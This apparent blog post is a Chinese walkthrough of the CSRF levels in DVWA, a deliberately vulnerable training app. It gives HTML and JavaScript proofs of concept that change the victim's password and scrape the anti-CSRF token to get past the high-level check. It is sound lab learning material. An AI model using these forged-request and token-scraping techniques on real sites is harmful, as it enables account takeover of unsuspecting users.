w28DVWA-csrf实例
DVWA-csrf实例
low级别
修改密码:修改的密码通过get请求,暴露在url上。

写一个简单的html文件,里面伪装修改密码的文字,代码如下:
<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></body>
</html>

点击"dvwa-csrf-low"文字后,跳转到dvwa的修改密码界面,提示Password changed(密码已修改)。

middle级别
修改密码:修改的密码通过get请求,暴露在url上。

写一个简单的html文件,里面伪装修改密码的文字,代码如下:
<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-middle</a></body>
</html>

点击"dvwa-csrf-middle"文字后,跳转到dvwa的修改密码界面,提示the request didn’t look correct (请求不正确)。

查看源码发现,会校验http_referer和server_name两个参数不为空。

对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。
成功的请求

失败的请求

利用bp工具,补上referer的参数。

网上另外解法:修改host和referer为localhost或127.0.0.1,其实也是遵循同源策略。


high级别
修改密码:修改的密码通过get请求,暴露在url上,并且带上user_token。

写一个简单的html文件,里面伪装修改密码的文字,代码如下:
<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-middle</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change&user_token=96f6243c53766d30d5e51cf92c15f9a3#">dvwa-csrf-high</a></body>
</html>

点击"dvwa-csrf-high"文字后,跳转到dvwa的修改密码界面,提示csrf token is incorrect (csrf的token错误)。

对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。
成功的请求

失败的请求

利用bp工具,补上referer的参数。结果还是失败。因此查看源码,#1这行有进行token的校验。#2这行进行token生成,大致可以分析出token生成后一次性校验,跟验证码同理。
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF token #1checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token #2
generateSessionToken();?>
基于分析出的结论,要构建一个新请求,先调用#2,再调用修改密码的请求,此时为了避免跨域问题。将写好的html直接放到dvwa下。
<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-middle</a></br><a href="javascript:void(0);" onclick="initJS()">dvwa-csrf-high</a></body><script >function initJS(){var theUrl = 'http://dvwa:7001/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);var token = match[1];var new_url = 'http://dvwa:7001/vulnerabilities/csrf/?user_token='+token+'&password_new=1&password_conf=1&Change=Change';if(count==0){count++;//此代码用于只执行一次修改密码xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();}</script>
</html>

用新密码可以成功登录,通关结束。
相关文章:
w28DVWA-csrf实例
DVWA-csrf实例 low级别 修改密码:修改的密码通过get请求,暴露在url上。 写一个简单的html文件,里面伪装修改密码的文字,代码如下: <html><body><a href"http://dvwa:7001/vulnerabilities/csr…...
子网络划分与互通,上网行为审计
网络环境需求:在办公网络环境中,由于公司部门的划分,以及服务器、电脑、手机等设备类型,一般都需要划分多个网段,便于进行网络管理,并提升网络通信效率。各个子网段管理员控制设备的接入,子网段之间需要进行局域网通信,发送消息和文件,通常使用飞秋。服务器网段,禁止…...
如何快速删除node_module依赖包
利用npm:输入 npm install rimraf -g rimraf node_modules...
async/await 的用法
一、async和await定义 async 是异步的意思,而 await 是等待的意思,await 用于等待一个异步任务执行完成的结果。 1.async/await 是一种编写异步代码的新方法(以前是采用回调和 promise)。 2. async/await 是建立在 promise 的基础…...
JAVA面试汇总总结更新中ing
本人面试积累面试题 基础RocketMQSpring登录技能操作线程事务微服务JVMKAFKAMYSQLRedislinux 基础 1.面向对象的三个特征 封装,继承,多态,有时候也会加上抽象。 2.多态的好处 允许不同类对象对同一消息做出响应,即同一消息可以根…...
vue-利用属性(v-if)控制表单(el-form-item)显示/隐藏
表单控制属性 v-if 示例: 通过switch组件作为开关,控制表单的显示与隐藏 <el-form-item label"创建数据集"><el-switch v-model"selectFormVisible"></el-switch></el-form-item><el-form-item label&…...
数据结构-邻接矩阵
介绍 邻接矩阵,是表示图的一种常见方式,具体表现为一个记录了各顶点连接情况的呈正方形的矩阵。 假设一共有以下顶点,其连接关系如图所示 那么,怎么表示它们之间的连接关系呢? 我们发现,各条边所连接的都…...
基于CNN-GRU-Attention的时间序列回归预测matlab仿真
目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 CNN(卷积神经网络)部分 4.2 GRU(门控循环单元)部分 4.3 Attention机制部分 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版…...
Docker部署Halo容器并结合内网穿透实现公网访问本地个人博客
文章目录 1. Docker部署Halo1.1 检查Docker版本如果未安装Docker可参考已安装Docker步骤:1.2 在Docker中部署Halo 2. Linux安装Cpolar2.1 打开服务器防火墙2.2 安装cpolar内网穿透 3. 配置Halo个人博客公网地址4. 固定Halo公网地址 本文主要介绍如何在CentOS 7系统使…...
纯css实现文字左右循环滚动播放效果
思路:由两个span模块组成,第一个为空的span内容,为的是实现第二个span内容缓慢出现的效果。 代码如下: <div class"scrollingStyle"><span class"first-marquee"></span><span class&q…...
【Java EE初阶二十二】https的简单理解
1. 初识https 当前网络上,主要都是 HTTPS 了,很少能见到 HTTP.实际上 HTTPS 也是基于 HTTP.只不过 HTTPS 在 HTTP 的基础之上, 引入了"加密"机制;引入 HTTPS 防止你的数据被黑客篡改 ; HTTPS 就是一个重要的保护措施.之所以能够安全, 最关键的…...
系统学习Python——装饰器:类装饰器-[跟踪对象接口:基础知识]
分类目录:《系统学习Python》总目录 文章《系统学习Python——装饰器:类装饰器-[单例类:基础知识]》的单例示例阐明了如何使用类装饰器来管理一个类的所有实例。类装饰器的另一个常用场景是为每个生成的实例扩展接口。类装饰器基本上可以在实…...
go-redis 使用 redis 6.0.14 版本错误: consider implementing encoding.BinaryMarshaler
使用方法 err : bp.data.redis.Get(ctx, policyKey).Scan(&result)起初在 redis 5.x.x 版本并没有遇到错误,但是在切换 redis 实例之后就出现了错误(他们之间只是版本不同)。 修复方法 看错误日志的描述,大概含义就是需要我们…...
计网 - 域名解析的工作流程
文章目录 Pre引言1. DNS是什么2. 域名结构3. 域名解析的工作流程4. 常见的DNS记录类型5. DNS安全6. 未来的发展趋势 Pre 计网 - DNS 域名解析系统 引言 在我们日常使用互联网时,经常会输入各种域名来访问网站、发送电子邮件或连接其他网络服务。然而,我…...
普中51单片机学习(EEPROM)
EEPROM IIC串行总线的组成及工作原理 I2C总线的数据传送 数据位的有效性规定 I2C总线进行数据传送时,时钟信号为高电平期间,数据线上的数据必须保持稳定,只有在时钟线上的信号为低电平期间,数据线上的高电平或低电平状态才允许…...
智能风控体系之供应链业务模式
供应链金融是一种针对中小企业的新型融资模式,将资金流有效整合到供应链管理的过程中,既为供应链各环节企业提供贸易资金服务,又为供应链弱势企业提供新型贷款融资服务,以核心客户为依托,以真实贸易背景为前提…...
最少停车数(C 语言)
题目描述 特定大小的停车场,数组cars[]表示,其中1表示有车,0表示没车。车辆大小不一,小车占一个车位(长度1),货车占两个车位(长度2),卡车占三个车位…...
MAC M1安装vmware和centos7虚拟机并配置静态ip
一、下载vmware和centos7镜像 1、VMWare Fusion 官网的下载地址是:下载地址 下载好之后注册需要秘钥,在官网注册后使用免费的个人秘钥 2、centos7 下载地址: https://biosyxh.cn:5001/sharing/pAlcCGNJf 二、虚拟机安装 直接将下…...
java 课程签到管理系统Myeclipse开发mysql数据库web结构jsp编程servlet计算机网页项目
一、源码特点 java 课程签到管理系统是一套完善的java web信息管理系统 采用serlvetdaobean,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发࿰…...
Linux——网络通信TCP通信常用的接口和tcp服务demo
文章目录 TCP通信所需要的套接字socket()bind()listen()acceptconnect() 封装TCP socket TCP通信所需要的套接字 socket() socket()函数主要作用是返回一个描述符,他的作用就是打开一个网络通讯端口,返回的这个描述符其实就可以理解为一个文件描述符&a…...
WPF实战:用LiveCharts打造实时监控曲线(附动态数据刷新技巧)
WPF实战:用LiveCharts打造高性能实时监控曲线 在工业自动化、物联网监控等场景中,实时数据可视化是核心需求之一。想象一下,当数百个传感器数据以毫秒级频率涌向系统时,如何让曲线图既流畅又精准?传统WPF图表在高频数…...
Android14 SurfaceFlinger启动流程与线程调度机制解析
1. SurfaceFlinger的启动入口与初始化流程 Android显示系统的核心服务SurfaceFlinger由init进程启动,这个设计保证了它在系统早期就能准备好图形合成能力。main函数作为入口点,首先做了一系列关键初始化: 设置Binder线程池的最大线程数为4&…...
在Jetson Nano上构建海康威视相机Docker镜像:从SDK集成到Python应用部署
1. 环境准备与基础配置 在Jetson Nano上构建海康威视相机Docker镜像的第一步,是确保硬件和基础软件环境就绪。我建议从官方渠道下载最新的JetPack SDK,这个工具包包含了CUDA、cuDNN等深度学习推理必需的组件。安装完成后,记得运行nvidia-smi命…...
Windows平台APK安装架构革命:从模拟器到原生集成的技术演进
Windows平台APK安装架构革命:从模拟器到原生集成的技术演进 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 当移动生态与桌面系统相遇,技术融合…...
告别手动启动:教你写一个ROS2 Launch文件,一键运行robot_state_publisher和rviz2显示URDF
ROS2高效开发指南:用Launch文件一键启动机器人可视化系统 每次调试URDF模型都要重复输入一堆命令?手动启动robot_state_publisher、joint_state_publisher和rviz2节点不仅浪费时间,还容易遗漏参数。本文将带你深度掌握ROS2 Launch文件的编写…...
别再死记硬背!用Python(SymPy库)自动推导DC-DC变换器的小信号模型
用Python解放双手:SymPy自动推导DC-DC变换器小信号模型的工程实践 当电源工程师面对Buck、Boost电路的小信号模型推导时,那些繁琐的矩阵运算和拉普拉斯变换是否让你头疼不已?传统手工推导不仅耗时费力,还容易在代数运算中出错。本…...
【图灵完备(Turing Complete)】五、从逻辑门到LEG:指令集与条件跳转的构建
1. 从逻辑门到处理器:LEG架构的诞生之路 记得我第一次用面包板搭建简单逻辑电路时,连个LED灯闪烁都要折腾半天。而现在我们要做的,是把这些基础逻辑门像乐高积木一样拼接成真正的处理器核心。LEG架构的设计初衷就是要解决原始图灵机指令宽度受…...
LoRA训练助手效果展示:动漫风格迁移作品集
LoRA训练助手效果展示:动漫风格迁移作品集 1. 引言 你是否曾经想过,把自己拍摄的普通照片转换成新海诚风格的唯美画面,或者让日常场景拥有吉卜力工作室的梦幻质感?现在,这一切都不再是梦想。通过LoRA训练助手&#x…...
Minecraft Masa Mods汉化包终极指南:三分钟告别英文界面困扰
Minecraft Masa Mods汉化包终极指南:三分钟告别英文界面困扰 【免费下载链接】masa-mods-chinese 一个masa mods的汉化资源包 项目地址: https://gitcode.com/gh_mirrors/ma/masa-mods-chinese 还在为Masa Mods系列模组的英文界面而烦恼吗?每次打…...
告别TeamViewer!用RustDesk自建服务器实现跨平台远程控制(Windows/Ubuntu客户端全配置)
告别商业远程控制软件:用RustDesk自建服务器全流程指南 远程控制软件已经成为现代工作场景中不可或缺的工具,无论是技术支持、远程办公还是跨设备协作,一个稳定高效的远程连接方案都能极大提升工作效率。然而,商业软件如TeamViewe…...
